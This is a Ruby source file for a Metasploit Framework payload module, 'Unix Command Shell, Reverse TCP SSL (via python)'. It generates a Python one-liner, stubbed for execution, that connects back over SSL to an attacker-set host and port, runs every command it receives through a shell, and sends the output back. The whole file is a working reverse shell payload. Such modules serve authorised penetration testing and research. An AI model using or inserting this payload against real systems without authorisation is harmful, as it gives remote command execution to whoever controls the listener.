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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = :dynamic
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  include Msf::Payload::Single
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  include Msf::Payload::Python
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Reverse TCP SSL (via python)',
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     'Description'   => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
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     'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
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     'License'       => BSD_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::ReverseTcpSsl,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'python',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    cmd = ''
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    dead = Rex::Text.rand_text_alpha(2)
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    # Set up the socket
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    cmd += "import socket,subprocess,os,ssl\n"
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    cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
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    cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
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    cmd += "s=ssl.wrap_socket(so)\n"
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    # The actual IO
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    cmd += "#{dead}=False\n"
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    cmd += "while not #{dead}:\n"
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    cmd += "\tdata=s.recv(1024)\n"
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    cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
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    cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
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    cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
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    cmd += "\ts.send(stdout_value)\n"
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    "#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
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  end
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end
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